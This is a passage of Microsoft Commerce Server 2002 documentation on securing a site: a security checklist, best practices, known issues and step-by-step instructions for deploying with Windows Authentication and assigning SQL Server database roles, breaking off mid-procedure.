Do you need to display two currencies for a catalog item simultaneously (for example, both US dollars and Japanese Yen)? | Set the base currency in the App Default Config resource for the currency your accounting system uses for financial reporting. Set the alternate currency for the second currency. Store the base currency value in the catalog, and approximate the alternate price at run-time using an appropriate conversion rate. For information about the App Default Config resource, see Configuring the App Default Config Resource.
Do you need to display catalog prices in alternate currencies based on a fixed rate conversion agreement? | Store the fixed conversion rates in a database and use these rates to calculate an appropriate pricing rule. This should also be done using the pricing rules and virtual catalogs.

See Also

Data Warehouse Name and Value Conventions


Securing Your Site

A Web site designed, built, and deployed with security as a prime feature is more robust than one deployed with security features added as an afterthought. However, as Web sites become more complex, it also becomes more difficult to make them secure. Security cannot be achieved by setting a few particular properties, or using a specific tool; instead you must take a holistic approach and address security in all stages of site planning, development, and deployment.

For detailed instructions about configuring your Commerce Server installation to use Windows Integrated Security, see Deploying Commerce Server Using Windows Authentication.

This section contains:

  • Security Checklist. An overview of the recommended steps you should take to secure your Commerce Server installation.
  • Best Practices for Security. Describes recommendations for configuring a secure site.
  • Important Security Notes. Describes known security issues in Commerce Server and the steps you must take to mitigate the security risks.
  • Using Strong Passwords. Describes how to create a strong password.
  • Using Windows Authentication. Explains how to configure your Commerce Server site to use Windows Authentication to SQL Server databases.
  • Using SQL Authentication. Explains the security risks associated with using SQL Authentnication for database connectivity instead of Windows Authentication.
  • Developing a Secure Site. Explains the steps you should take to design and develop a secure site. Explains how to prevent buffer overruns, cross-site scripting issues, and denial of service attacks.
  • Deploying a Secure Site. Provides an overview of a secure configuration that includes three firewalls.
  • Securing Anonymous Accounts. Describes the security requirements for the anonymous account used by run-time users.
  • Securing Service Accounts. Describes the permissions required by the Commerce Server service accounts when you use Windows Authentication for database connectivity.
  • Securing Business Desk. Explains how to secure the Business Desk application and user interface.
  • Securing Your Databases. Explains how to secure your Commerce Server databases when you use Windows Authentication for database connectivity.
  • Securing a Predictor Deployment. Explains how to secure the components of a Predictor deployment.
  • Securing Your Network. Explains how to enable Secure Sockets Layer (SSL) on your Commerce Server site. Describes intrusion detection systems.
  • Securing Your Web Server. Provides an overview of the securing a Web server.
  • Additional Information About Security. Lists additional sources of information for developing and deploying a secure site.


Security Checklist

The following are recommended steps you should take to secure your Commerce Server installation.

  • Deploy a secure infrastructure.
    • Use firewalls.
    • Run SQL and Windows services, including the Commerce Server services – Predictor, List Manager, and Direct Mailer – using least privilege accounts. The Event Logging user account must be a local administrator.
    • Throttle requests, for example, for baskets and checkouts.
    • Configure Internet Information Services (IIS) applications used by Commerce Server to run in Medium (Pooled) mode. If you have a multi-site configuration, IIS applications used by Commerce Server must run in High (Isolated) mode.
  • Deploy Commerce Server using Windows Authentication.
    • Create domain accounts for Commerce Server services and users.
    • Install Commerce Server using Windows Integrated Security.
    • Configure the anonymous account to map to a domain account.
    • Set up a trusted connection for the Business Desk Web server.
  • Secure the Business Desk application and user interface.
    • Apply NTLM authentication for Business Desk client computers that are running Windows NT 4.0 or earlier.
    • Use the Permissions module in Business Desk to restrict access to modules, tasks, fields, and properties.
    • Set permissions on both the physical and virtual Business Desk directories so that only the Administrator can access them.
    • Set permissions on the scripts BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp to accept hits only from the IP address of the Business Desk server.
  • Secure the Administration database, which contains configuration information for your site.
    • Use Windows Authentication for the connection to the Administration database.
    • Secure the SiteConfigReadOnly, SiteConfig, and GlobalConfig objects.
    • Restrict executable scripts so that attackers cannot access these configuration objects.
    • Restrict usage of the SiteConfig and GlobalConfig objects by modifying the access control lists (ACLs) on the registry keys for these object classes.
  • Secure the Commerce Server run-time databases.
    • Use Windows Authentication for the connection to the databases.
    • Run the Commerce Server security scripts to create the appropriate roles on each database, and then assign Business Desk users and the run-time user account to the appropriate roles.
    • Use an encrypted network connection by deploying encryption on the named pipes: use IPSec authentication, enable Secure Sockets Layer (SSL) encryption, and enable multiprotocol client encryption.
    • Use the Commerce Server encryption features (such as one-way hashing and asymmetric encryption) to encrypt user passwords, that is, data that does not need to be decrypted. Use asymmetric encryption to encrypt credit card numbers and expiration dates.
    • Set permissions for run-time users (users visiting your Web site) and design-time users (users updating your site using Business Desk) on the Commerce Server databases, tables, and stored procedures.
  • Secure the Data Warehouse.
    • Run the DTS task security scripts against each Commerce Server database that the DTS tasks must access. These scripts create the DTS_ImportRole on each database, and grant the role appropriate database permissions. You assign to the DTS_ImportRole the login account of users authorized to run the DTS tasks.
    • Run the report security scripts against the Data Warehouse database. These scripts create two roles on the Data Warehouse database: one for users who run and view reports, and another for users who create, delete, and modify reports. The roles are granted the role appropriate database permissions. Assign Business Desk users to the appropriate roles, depending on their job requirements.
    • Run the SegmentViewer Script to Secure Prediction Tables. This script creates the SegmentViewer role on the Data Warehouse database, and grants the role appropriate database permissions. Assign Business Desk users to this role if they are going to work with the Segment Viewer module in Business Desk.
    • Set up access to the Analysis Server over HTTPS. This enables Business Desk users to run reports over the Internet.
  • Secure the Direct Mailer Database.
    • Grant the Direct Mailer service db_owner access.
    • Grant the List Manager service db_owner access.
  • Secure the Web log files, which are imported into the Data Warehouse.
    • Set access control lists (ACLs) on the directory for the log files.
    • Use an encrypted network connection (apply SSL and IPSec).
  • Secure the Web server, application, and specific files installed on the Web server.
    • Remove FTP Server, SMTP Server, Indexing Service, Microsoft FrontPage extensions, script debugger, Internet and the Services Manager (HTML) if they are not used by any other application on the server.
    • Secure the pipelines directory with ACLs to prevent downloads of .PCF and .PIPELOG files.
    • Secure the Csapp.ini file by turning off both read and anonymous access to it in IIS. Do not use the NTFS file system (NTFS) permissions to secure this file because the file must be readable under user credentials such as the IUSR account.
    • Create scripts to secure the files and folders that contain your site after you unpack it. Commerce Server Site Packager does not package or unpack any NTFS folder or file permissions (access control lists).
    • Use caution when configuring the accounts that can log on interactively to a Web server: ensure that the Guest account is disabled and that only accounts requiring access to the Web server are given access.
    • Turn off Write permissions on Internet Information Services (IIS) applications and folders (on the Home Directory tab).
  • Install the tools from the Microsoft Strategic Technology Protection Program, available from http://go.microsoft.com/fwlink/?LinkId=6689.
    • Use the Internet Information Services (IIS) Lockdown tool to remove all unneeded links from Internet Services Manager (for example, scripts, images, iishelp, iisadmin, and msadc). To download the IIS Lockdown tool, see http://go.microsoft.com/fwlink/?LinkId=6689.
    • Use the URLScan tool to ensure your Web servers only respond to legitimate requests.
    • Use the HFNetCheck tool to scan your local and remote servers to ensure that that they are up to date on all security patches available for Windows 2000, IIS 5.0, Internet Explorer, and SQL Server. To download the HFCheck tool, see http://go.microsoft.com/fwlink/?LinkId=6715.
    • Use the QChain.exe tool to install multiple hotfixes with only one restart. To download the QChain.exe tool, see Microsoft Knowledge Base article Q296861: "Use QChain.exe to Install Multiple Hotfixes with Only One Reboot," located at http://go.microsoft.com/fwlink/?LinkId=6716.
  • Use the Windows 2000 Server Baseline Security Checklist, available from http://go.microsoft.com/fwlink/?LinkId=9359, to secure all Windows 2000 servers in your site.


Best Practices for Security

It is strongly recommended that you follow the best practices listed in this topic in order to ensure a secure Commerce Server installation.

  • Install Commerce Server using Windows Authentication.

    If you do not accept the default installation options, and instead install Commerce Server using SQL Server Authentication, your deployment may contain security risks. For information about these security risks, and steps you must take to secure your site, see Important Security Notes.

    It is recommended that you do not configure some Commerce Server resources to use SQL Server Authentication to access your databases and other resources to use Windows Authentication. All resources should use the same security method.

    The following issues apply to specific configurations:

    • If SQL Server is remote, and you are using Windows Authentication to access your databases, you must map the IIS anonymous account to a domain account.

      If you are using a remote SQL Server and Windows Authentication, you must map the IIS anonymous account (the default is IUSR_computer) to a domain account. You must then create a SQL Server login for the domain account that has full access to the Commerce Server run-time databases.

    • If SQL Server is local, and you are using Windows Authentication to access your databases, you must assign SQL Server permissions for the account used for the IIS anonymous account.

      SQL Server requires the IIS anonymous account to have permissions to the data store.

      You might set up this configuration if, for example, you are a developer and you have installed all the required software on one computer.

  • Use detailed settings for accounts configured with CatalogReader.

    When setting up user accounts configured with the CatalogReader security role, you must use specific, detailed user security settings. This practice will prevent users from viewing any data in the catalog database.

  • Set an owner password and a user password when saving a Model Builder DTS Task.

    When saving a Model Builder DTS Task, it is recommended that you set an owner and user password for the package to protect the information in the package from unauthorized users. The owner password prevents an unauthorized user from modifying the package and embedding malicious code for execution. The owner password allows a user to open, view, and edit a package. The user password allows a user to execute a package—it does not allow a user to view or edit the package definition.

    Note

    • If you set the user password, you must also set the owner password. This option is available only for packages saved in SQL Server or saved as structured storage files.
  • For Business Desk users, configure IIS for Basic Authentication.

    When Business Desk users run reports, they access data from the Analysis Services database. To use Analysis Services over HTTPS, Business Desk users should be authenticated using Basic Authentication (which passes Windows 2000 credentials).

    When passing Windows 2000 credentials over the Web, use HTTPS to ensure that the Windows account and password are secured.

    Note

    • When Business Desk users run reports and access Analysis Services over HTTPS, their valid Windows 2000 user ID and password are stored in the HTML of the Business Desk. For more information, see Accessing the Analysis Server Over HTTPS.
  • In a multi-server deployment in which you use AuthFilter, you must use Microsoft SQL Server Authentication for the connection string to the Administration database.

    This scenario is as follows:

    • Deploy Commerce Server using Windows Authentication.
    • Use SQL Server (instead of Microsoft Active Directory).
    • Use AuthFilter.
    • Change the connection string to the Administration database to SQL Server authentication.

    When using AuthFilter in this scenario, you must change the connection string to the Administration database because the ISAPI filter (and hence AuthFilter) is running in the security context of the IIS process (inetinfo), known as LocalSystem. Therefore, AuthFilter tries to connect to the SQL Server on another computer, using credentials from LocalSystem, which is invalid; AuthFilter does not have the rights to make connections across a network. (If the Administration database is local, the connection would work, but you should never locate the Administration database on the Web server.)

    This scenario does not apply if you use Internet Information Services 6.0.

    For more information, see Using Windows Authentication in a Distributed Environment.

  • In environments with multiple sites, do not allow script uploading.

    Unless the uploaded script is carefully monitored, there could be security risks in the uploaded script code.

  • Do not trust user input directly

    You should never trust user input directly, especially if the user input is anonymous. For more information, see Do Not Trust User Input Directly.

  • Run with least possible privilege

    Users and executable processes should run with the lowest level of privilege that is required to perform their tasks. For more information, see Running with Least Privilege.

  • Configure IIS to disallow access to files with a .PCF extension (Pipeline configuration).

    In Commerce Server 2002, Pipeline configuration is stored in a file with a .PCF extension. For example, the basket pipeline may be Basket.pcf. For deployment purposes, these files are typically stored within the virtual directory for the Web site. For this reason, you should configure IIS to disallow access to files with a .PCF extension.

  • Configure Event Logs to support Rolling Event Logs.

    The recommended configuration for Event Logs is Rolling Event Logs. If the Event Log has been re-configured to not support rolling event logs, the Event Log could fill up, potentially causing a denial of service for the server.

See Also

Important Security Notes

Using Windows Authentication in a Distributed Environment

Securing Service Accounts

Securing Commerce Server Run-time Databases

Securing the Data Warehouse

Securing Business Desk


Important Security Notes

This topic describes known security issues in Commerce Server and the steps you must take to mitigate the security risks.

Known Security Issues

  • Catalog Security: Assign Business Desk Users to DB_Owner Role
  • Site Packager: Delete the Unpack.bat File
  • Config COM+ Application: Remove Everyone from Web Users Role
  • AuthFilter requires SQL Authentication to Administration Database
  • Commerce Server Service Pack 1: Setting Access Security on Commerce Server Services

Catalog Security: Assign Business Desk Users to DB_Owner Role

To enable Business Desk users to edit catalogs (for example, edit a catalog definition, rebuild the catalog, refresh the full-text index, and publish the catalog), you must assign them to the db_owner role for the Catalog database. For instructions, see Deploying Commerce Server Using Windows Authentication.

Carefully consider the trustworthiness of the Business Desk user that you assign to the db_owner role. When assigning a Business Desk user to this role, you must consider the following security risk.

Important

  • A Business Desk user assigned to the db_owner role could potentially delete a database. To mitigate this risk, you must place a firewall to prevent direct connection from the Business Desk client to the SQL Server database that contains the catalogs. This is the recommended secure configuration. For detailed instructions for deploying firewalls, see Deploying a Secure Site.

Site Packager: Delete the Unpack.vbs File

If you create an unpack.vbs file when you unpack an application to a remote Web server, you must delete the file immediately after unpacking the application.

The unpack.vbs file exists in the root directory, and can be accessed by anonymous users. Unauthorized use of this batch file could lead to denial of service or the breaking of site settings.

Config COM+ Application: Remove Everyone from Web Users Role

Although Commerce Server installs five COM+ applications, only the Config application, used to access the Administration database, uses assigned roles. These roles are:

  • Administrators. Accounts in this role use objects for writing to the Administration database. By default, the user logged on during Commerce Server setup is added to this role, and the local Administrators group is added.

    Use this role to give system administrators permission to use Commerce Server Manager.

  • Web Users. Accounts in this role will have permissions to add a Web server to an application.

    This role is designed to support the automatic additions of Web servers, for example, in a Web farm scenario: when the Commerce Server application first starts on the new Web server. For example, a user connects to the Web server, or gets load-balanced to it, and global.asa starts. The Web server is then added automatically to the Administration database. The function that updates the Administration database is JoinWebFarm, which is included with the Solution Sites.

    By default, Everyone is added to this role. You must change this as follows:

    1. Remove Everyone.
    2. Add the Anonymous account (IUSR_<computername> is the default).
    3. Add the Launch IIS Process account (IWAM_<computername> is the default).
    4. Add the accounts of other users who will be allowed to connect to the site.

    For more information about JoinWebFarm, see JoinWebFarm and Adding Web Servers without Site Packager.

AuthFilter requires SQL Authentication to Administration Database

When you use AuthFilter in a distributed environment, you must change the connection string for the Administration database to SQL Authentication. You must change the connection string for the following reason:

The ISAPI filter (and hence AuthFilter) is running in the security context of the IIS process (inetinfo), known as LocalSystem. Therefore, AuthFilter tries to connect to the SQL Server on another computer, using credentials from LocalSystem, which are invalid; it does not have the rights to make connections across a network.

If the Administration database is local, the connection would work, but you should never locate the Administration database on the Web server.

Commerce Server Service Pack 1: Setting Access Security on Commerce Server Services

After you have installed Commerce Server 2002 Service Pack 1, you can set access security on the Commerce Server List Manager service, Direct Mailer service, and Predictor service using the executable, Dcomcnfg.exe.

This procedure only applies to Commerce Server 2002 Service Pack 1. It is particularly important to run the executable if you are using opt-out lists.

For information about running Dcomcnfg.exe, see the Microsoft Knowledge Based article number Q328522.

See Also

Securing Service Accounts

Securing Commerce Server Databases

Securing the Data Warehouse

Securing Business Desk


Using Strong Passwords

Passwords can be the weakest link in the security scheme for your Site. It is recommended that you use strong passwords because they are harder to break. A strong password has the following characteristics:

  • Contains at least six characters.
  • Contains characters from each of the following three groups:
    • Uppercase and lowercase letters (A, a, B, b, C, c, and so on)
    • Numbers
    • Symbols (such as ` ~ ! @ # $ % ^ & * ( ) _ + - = { } | [ ] \ : " ; ' < > ? , . /)
  • Contains at least one symbol character in the second through sixth positions
  • Is significantly different from passwords previously used
  • Does not contain your name or user name
  • Is not a common word or name

For more information about strong passwords, see "Creating strong passwords" in Windows 2000 help.


Using Windows Authentication

Commerce Server supports Windows Authentication to SQL Server. This is also known as Windows Integrated Security.

Windows Authentication is the recommended configuration for a Commerce Server installation. In Windows Authentication, Windows user accounts are used to authenticate to SQL Server. Commerce Server sets a tag in the connection string that tells SQL Server to use Windows Authentication when checking the security context of the user attempting to access a given database.

When you use Windows Authentication, user names and passwords are not stored in the SQL Server connection string, and are not changed when the SQL Server password is reset.

This section contains:

  • Checklist for Using Windows Authentication
  • Deploying Commerce Server Using Windows Authentication
  • Using Windows Authentication in a Single Computer Deployment
  • Using Windows Authentication in a Distributed Deployment
  • Using Direct Mailer and Windows Authentication


Checklist for Using Windows Authentication

Use the following checklist to configure secure deployment that uses Microsoft Windows Authentication in a distributed environment that includes domain controllers. For a diagram of a secure deployment and detailed instructions about how to deploy a sample secure Web site, see "Deploying a Secure Site" on the Microsoft TechNet Web site, located at http://go.microsoft.com/fwlink/?LinkId=8487.

Domain Controllers

  • Install Active Directory in native mode.
  • Run the executable setspn.exe to set Service Principle Name (SPN). You can find setspn.exe in the Microsoft Windows 2000 Resource Kit at:

    http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp

  • Run setspn –L to verify that host/WebServerNetbios and host/WebServerDNSName exist.
  • Run setspn -L SQLnetbiosName to verify that the SQL Service Principle Name exists.

Web Server

  • Configure for medium isolation (OOB) using IWAM\<computer_name>. No extra credentials for IWAM are required.

    High isolation mode is required in multi-site deployments.

  • Verify TCP/IP is an enabled protocol/net lib for SQL Client connections.

SQL Server

  • Configure for mixed-mode authentication.

    Note

    • In mixed mode, SQL Server-based authentication is used between the Web and SQL servers. Only one port must be open on a firewall that separates these servers.
  • Enable TCP/IP protocol for the server. If you are using a named instance, provide a port number and SQL should add a Service Principle Name (that is, mssqlsvc/dnsname:port) when restarting the service (MSSQLSVC).

Business Desk Client

  • The computer on which the Business Desk client is installed must be in same domain (forest) as the Data tier computers, or in a trusted domain.
  • Use Internet Explorer 5.5 or later. If you install Internet Explorer 6.0, by default, "Use Windows Integrated Authentication" is disabled. You must enable it.


Deploying Commerce Server Using Windows Authentication

It is strongly recommended that you install Microsoft Commerce Server 2002 using Microsoft Windows Integrated Security, and that you secure your databases to use Windows Authentication.

You must perform the following steps to install Commerce Server using Windows Integrated Security, and to secure your services and databases to use Windows Authentication. The instructions provided in this topic are not specific to a particular deployment scenario. Each of these steps is explained in detail in this section.

  • Step 1: Run dcpromo and Install Active Directory Services
  • Step 2: Create Required Accounts
  • Step 3: Install Commerce Server Using Windows Integrated Security
  • Step 4: Unpack Your Site and Configure Database Connection Strings for Windows Authentication
  • Step 5: Set up a Trusted Connection for Business Desk users
  • Step 6: Map the Anonymous Account of the Web Site to the Anonymous Domain Account
  • Step 7: Create SQL Login Accounts for Each Required Account
  • Step 8: Run the Commerce Server Database Security Scripts
  • Step 9: Add the Required Accounts to the Database Roles
  • Step 10: Set up the OLAP Database
  • Step 11: Add the Service Accounts to the Config COM+ Application Role
  • Step 12: Add Individual Business Desk User Accounts to the BDGroup Account
  • Step 13: Grant Users Business Desk Permissions
  • Step 14: Enable Integrated Windows Authentication in Internet Explorer
  • Step 15: Map the User Login Account to Database Owner (dbo) User
  • Step 16: Enable Users to Run the Model Builder DTS Task

For additional information about using Windows authentication in a single computer or distributed deployment configuration, see Using Windows Authentication in a Single Computer Deployment and Using Windows Authentication in a Distributed Deployment.

Step 1: Run dcpromo and Install Active Directory Services

This step assumes you do not have Active Directory Services installed on any computer, you do not have Domain Name Service (DNS) installed, and you do not have a domain controller. If Active Directory Services is already installed, go to Step 2: Create Required Accounts.

For detailed instructions for running dcpromo and installing Active Directory Services, see Configure Active Directory and DNS on Computer 1.

To run dcpromo and install Active Directory Services

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type dcpromo, and then click OK.

    The Active Directory Installation Wizard is started.

  3. Follow the online instructions for the wizard, but note the following:
    • In the Directory Services Restore Mode Administrator Password dialog box, you are prompted for the password you want to assign to the Administrator account for the DNS server. This account is different from the Administrator account for the computer.

Step 2: Create Required Accounts

Create the required user and group accounts on the computer on which you installed Active Directory Services.

To create the required accounts

  1. Log on to the domain controller as a user that has permissions to create users in the domain. By default, domain administrators have this privilege.
  2. Click Start, point to Programs, point to Administrative Tools, and then click Active Directory Users and Computers.
  3. In Active Directory Users and Computers, right-click User, and then click New User.
  4. In the New User dialog box, type the user account name, for example, CSDM, a password, and then click Create.
  5. Repeat these steps until you have created each of following accounts.
    Account user | Sample account name | Description
    Run-time user | Anonymous | A user account for the anonymous users visiting your Web site.
    Direct Mailer service | CSDM | A user account for the Direct Mailer service.
    List Manager service | CSLM | A user account for the List Manager service.
    Predictor service | CSPred | A user account for the Predictor service.
    Config COM+ application | CSCOMPlus | A user account for the Config COM+ application.
    Business Desk group | BDGroup | A group account for all Business Desk users, including users who run reports. Also known as design-time users.
    Advanced Report group | ReportAdvanced | A group account for Business Desk users who must save dynamic reports, modify reports, and delete reports.
    Segment Viewer group | SegmentViewer | A group account for Business Desk users who work with the Segment Viewer module.
    DTS Task Import group | DTSImport | A group account for system administrators who run the DTS tasks to import and extend the Data Warehouse.

    To create the Business Desk group account, right-click Group instead of User, and then click New Group.

Step 3: Install Commerce Server Using Windows Integrated Security

Before you install Direct Mailer, verify that SQL Server Agent is started. If it is not started, Direct Mailer will not install.

To install Commerce Server using Windows Integrated Security

  1. Log on to the Commerce Server as a user who is a member of the Administrator group on the Commerce Server server. Do not log on as the domain administrator.
  2. Insert the Commerce Server 2002 CD into the appropriate drive. In the root of the Commerce Server 2002 CD, double-click Setup.exe. The Commerce Server 2002 Setup program starts.
  3. In the Administration Database Configuration screen, select Use Windows Integrated Security, and then click Next.
  4. In the Direct Mailer Database Configuration screen, select Use Windows Integrated Security, and then click Next.
  5. In the Services Accounts screen, click Direct Mailer service, and then specify the Windows 2000 account for the Direct Mailer, for example, CSDM.
  6. Repeat step 5 for the following services:
    Service | Sample account name
    List Manager | CSLM
    Predictor | CSPred
    Config COM+ application | CSCOMPlus

    Commerce Server Setup automatically grants the logon as a service right to the account(s) you specify.

    Event Logging must run under a local Administrator account.

  7. Click Install to begin the installation process.
  8. Click Finish when the installation process is finished.

Step 4: Unpack Your Site and Configure Database Connection Strings for Windows Authentication

When you unpack your site, the connection strings to your databases are automatically configured to use Windows Authentication.

  1. Login as a domain user that has administrative rights to the Web server computer(s) and the database computer(s).
  2. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.

    Commerce Server Site Packager is started.

  3. Follow the online instructions. By default, all the database connection strings are configured to use Windows Authentication.

    It is assumed that you choose the Custom option, and you create the following databases:

    • Business Desk Permissions
    • Catalog
    • Profiles
    • Campaigns
    • TransactionConfig
    • Transactions

    Modify the following steps accordingly if your databases are different, or you installed all the resources in single database.

Step 5: Set up a Trusted Connection for Business Desk Users

Perform this step on the computer on which you installed Active Directory Services in Step 1: Run dcpromo and Install Active Directory Services.

To set up a trusted connection for Business Desk users

  1. Click Start, point to Programs, point to Administrative Tools, and then click Active Directory Users and Computers.
  2. In the Active Directory Users and Computers screen, in the Tree pane, expand <domainName>, and then click Computers.
  3. In the Computers pane, right-click the computer name that you want to trust for delegation, and then click Properties.

    Note

    • When using Windows Authentication, you must perform this step for the Commerce Server and the Web server on which the Business Desk application is running.
  4. In the <computer name> Properties dialog box, on the General tab, select the Trust computer for delegation check box, and then click OK.

    The Active Directory message box appears.

  5. To close the Active Directory message box, click OK.
  6. To close the <computer name> Properties dialog box, click OK.

Step 6: Map the Anonymous Account of the Web Site to the Anonymous Domain Account

In this step you map the anonymous user account of your Web site (by default, in Internet Information Services this is the IUSR_<computername>) to the anonymous domain account you created in Step 2: Create Required Accounts.

To change the anonymous account of the site to a domain account

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In Internet Services Manager, navigate to your application (for example, Retail_Site).
  3. Right-click you application (for example, Retail_Site), and then click Properties.
  4. In the Properties dialog box, on the Directory Security tab, in the Anonymous access and authentication control section, click Edit.
  5. In the Authentication Methods dialog box, in the Anonymous access section, click Edit.
  6. In the Anonymous User Account dialog box, in the Username box, type the name of the anonymous domain account (for example, Anonymous).
  7. Click OK several times to close the dialog boxes.
  8. Click Start, and then click Run.
  9. In the Run dialog box, in the Open box, type iisreset, and then click OK.
A command box appears while IIS is being reset. IIS is reset when the command box closes.

Step 7: Create SQL Login Accounts for Each Required Account

In this step, you create SQL login accounts on the SQL Server. Create one account for each domain account, except the Config COM+ application account.

To create a SQL login account

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand the nodes to the following path: Microsoft SQL Servers/SQL Server Group/<computer name>/Security.
  3. Right-click Login, and then click New Login.
  4. In the SQL Server Login Properties - New Login screen, on the General tab, do the following:
    Use this | To do this
    Name | Type the name of the domain user account (for example, Anonymous, a sample user account for your run-time users).
    Windows Authentication | Verify this option is selected.
    Domain | Select the domain of the account from the drop-down list.
    Grant access | Verify this option is selected for security access.
    Database | Select master as the database for this login from the drop-down list.
    Language | Select the default language for this login from the drop-down list.
  5. Click OK.
  6. Repeat these steps until you have created a SQL Server login account for each of the following domain accounts:
    Account | Sample account name
    Run-time users | Anonymous
    Direct Mailer service | CSDM
    List Manager service | CSLM
    Predictor service | CSPred
    Business Desk group | BDGroup
    Advanced Report group | ReportAdvanced
    Segment Viewer group | SegmentViewer
    DTS Task Import group | DTSImport
    Config COM+ application | CSCOMPlus

Step 8: Run the Commerce Server Database Security Scripts

Run the Commerce Server security scripts to automatically create security roles for the required accounts, and assign the appropriate database permissions. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

To run the scripts and create the security roles

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the database you want to run the script against.
  4. Click File, and then click Open.
  5. Navigate to the scripts located in the Program Files\Microsoft Commerce Server\Support folder, and select the script you want to run.

    The script opens and the code appears in the Query Analyzer window.

  6. On the toolbar, click Run to run the script against the selected database.
  7. Repeat these steps to run all the scripts against the databases listed in the following table.

Note

  • You must run the ReportViewer.sql script before you run the ReportAdvanced.sql script.

Security Scripts for the Commerce Server Run-Time Databases

Script name | Run against this database
BDReaderRole and BDWriterRole | Business Desk Permissions
CampaignReaderRole and CampaignWriterRole | Campaigns
CatalogSecurityRoles | Product Catalog
ProfileReaderRole and ProfileWriterRole | Profiles
TransactionConfigReaderRole and TransactionConfigWriterRole | TransactionConfig
TransactionReaderRole and TransactionWriterRole | Transactions

Security Scripts for Analysis and Data Warehouse

Script | Run against this database
ReportViewer.sql | Data Warehouse
ReportAdvanced.sq | Data Warehouse
SegmentViewer | Data Warehouse
Dts_AdminDB_SecurityRole.sql | Administration (MSCS_Admin)
Dts_CommerceDB_Campaign_SecurityRole.sql | Campaigns
Dts_CommerceDB_Catalog_SecurityRole.sql | Product Catalog
Dts_CommerceDB_Transaction_SecurityRole.sql | Transactions
Dts_CommerceDB_UPM_SecurityRole.sql | Profiles

Notes

  • Rerun the CatalogSecurityRoles script and the Dts_CommerceDB_Catalog_SecurityRole script after you do any of the following tasks:
    • Create new catalogs
    • Add languages to a catalog
    • Rebuild virtual catalogs
  • Rerun the Dts_CommerceDB_Campaign_SecurityRole script after you create new campaigns.
  • When you extend the Profiles database (create new profile definitions), manually assign permissions to the DTSImport account.

The Commerce Server run-time database tables can reside in one database, or each resource can have tables in its own database.

These scripts are designed to work with SQL server, for data stored in the Commerce Server run-time databases and the Administration database. They are not designed for use with Active Directory or an Oracle database.

Step 9: Add the Required Accounts to the Database Roles

After you run all of the scripts, add the required accounts to newly created roles and secure the MSCS_Admin tables.

Add the required accounts to a database role

Secure the MSCS_Admin tables

To add a required account to a database role

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand Security, and then click Logins.
  3. Right-click a SQL login account, and then click Properties.
  4. In the SQL Server Login Properties dialog box, click the Database Access tab.
  5. In the top box, select a database, and then in the bottom box, specify the role for the account.
  6. Repeat these steps until all the required accounts are assigned membership to the database roles they need, and then click OK.

    The following table lists all the accounts, the databases, and the roles the accounts must be assigned to.

Account
(sample account name) 		For this database Assign to this database role
*Run-time users
(Anonymous) 		Administration (MSCS_Admin) For information, see Securing the MSCS_Admin Tables.
MSCS_CatalogScratch | db_owner
Catalog | ctlg_CatalogReaderRole
Business Desk Permissions | BDReaderRole
Profiles | ProfileReaderRole
Campaigns | CampaignReaderRole
Transaction Configuration | TransactionConfigReaderRole
Transactions | TransactionReaderRole
Business Desk group
(BDGroup) 		Administration (MSCS_Admin) db_datareader
MSCS_CatalogScratch | db_owner
Catalog | db_owner
Business Desk Permissions | BDWriterRole
Profiles | ProfileWriterRole
Campaigns CampaignWriterRole
db_datareader
Transaction Configuration | TransactionConfigWriterRole
Transactions | TransactionWriterRole
Data Warehouse | ReportViewerRole
Advanced Report group
(ReportAdvanced) 		Data Warehouse ReportAdvancedRole
Segment Viewer group
(SegmentViewer) 		Data Warehouse SegmentViewer
Direct Mailer service
(CSDM) 		Administration (MSCS_Admin) db_datareader
Direct Mailer | db_owner
List Manager service account
(CSLM) 		Administration (MSCS_Admin) db_datareader
Direct Mailer | db_owner
Campaigns | db_owner
Predictor service account
(CSPred) 		Administration (MSCS_Admin) db_datareader
Data Warehouse SQL Server db_datareader
db_datawriter
db_ddladmin
DTS Task Import group
(DTSImport) 		Administration (MSCS_Admin) DTS_ImportRole
Catalog | DTS_ImportRole
Business Desk Permissions | DTS_ImportRole
Profiles | DTS_ImportRole
Campaigns | DTS_ImportRole
Transaction Configuration | DTS_ImportRole
Transactions | DTS_ImportRole
Data Warehouse SQL Server | Run sp_addalias to assign to the dbo of Data Warehouse
Data Warehouse OLAP database | **Add to the OLAP Administrators group
Computer from which you run the DTS tasks | Power Users group
Config COM+ Application | Administrators (see Step 11: Add the Service Accounts to the Config COM+ Application)
  1. Config COM+ application
 Data Warehouse SQL Server db_owner

**The DTSImport account must be a part of the OLAP Administrators group for both the OLAP database computer, and the computer on which you are going to run the Report preparation DTS task. This is required to run the Report preparation DTS task and the Report Caching DTS task.

To enable Business Desk users to edit catalogs (for example, edit the catalog definition, rebuild the catalog, refresh the full-text index and publish the catalog), you must assign them to the db_owner role.

It is recommended that you create a group account specifically for Business Desk users who will edit catalogs.

Carefully consider the trustworthiness of the Business Desk user that you assign to the db_owner role. When assigning a Business Desk user to this role, you must consider the following security risk:

Important

  • A Business Desk user assigned to the db_owner role could potentially delete a catalog database. To mitigate this risk, you must create a firewall to disallow direct connection from the Business Desk client to the SQL Server database that contains the catalogs. This is the recommended secure configuration. For detailed instructions, see Deploying a Secure Site.

Securing the MSCS_Admin Tables

The following table lists the table names used to grant or deny access in the MSCS_Admin tables for the <domain>\Anonymous account, where <domain> is the name of your Active Directory domain. To set these permissions, use SQL Server Enterprise Manager on the server on which your MSCS_Admin tables reside. These tables are created by the Commerce Server 2002 setup application.

Table name | IUSR or ASPNET
ExtendedProps | No access
pupdbscripts | No access
ResourceProps | Select
Resources | Select
SiteResources | Select
Sites | Select

This procedure is performed on the SQL Server server on which your MSCS_Admin tables reside.

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
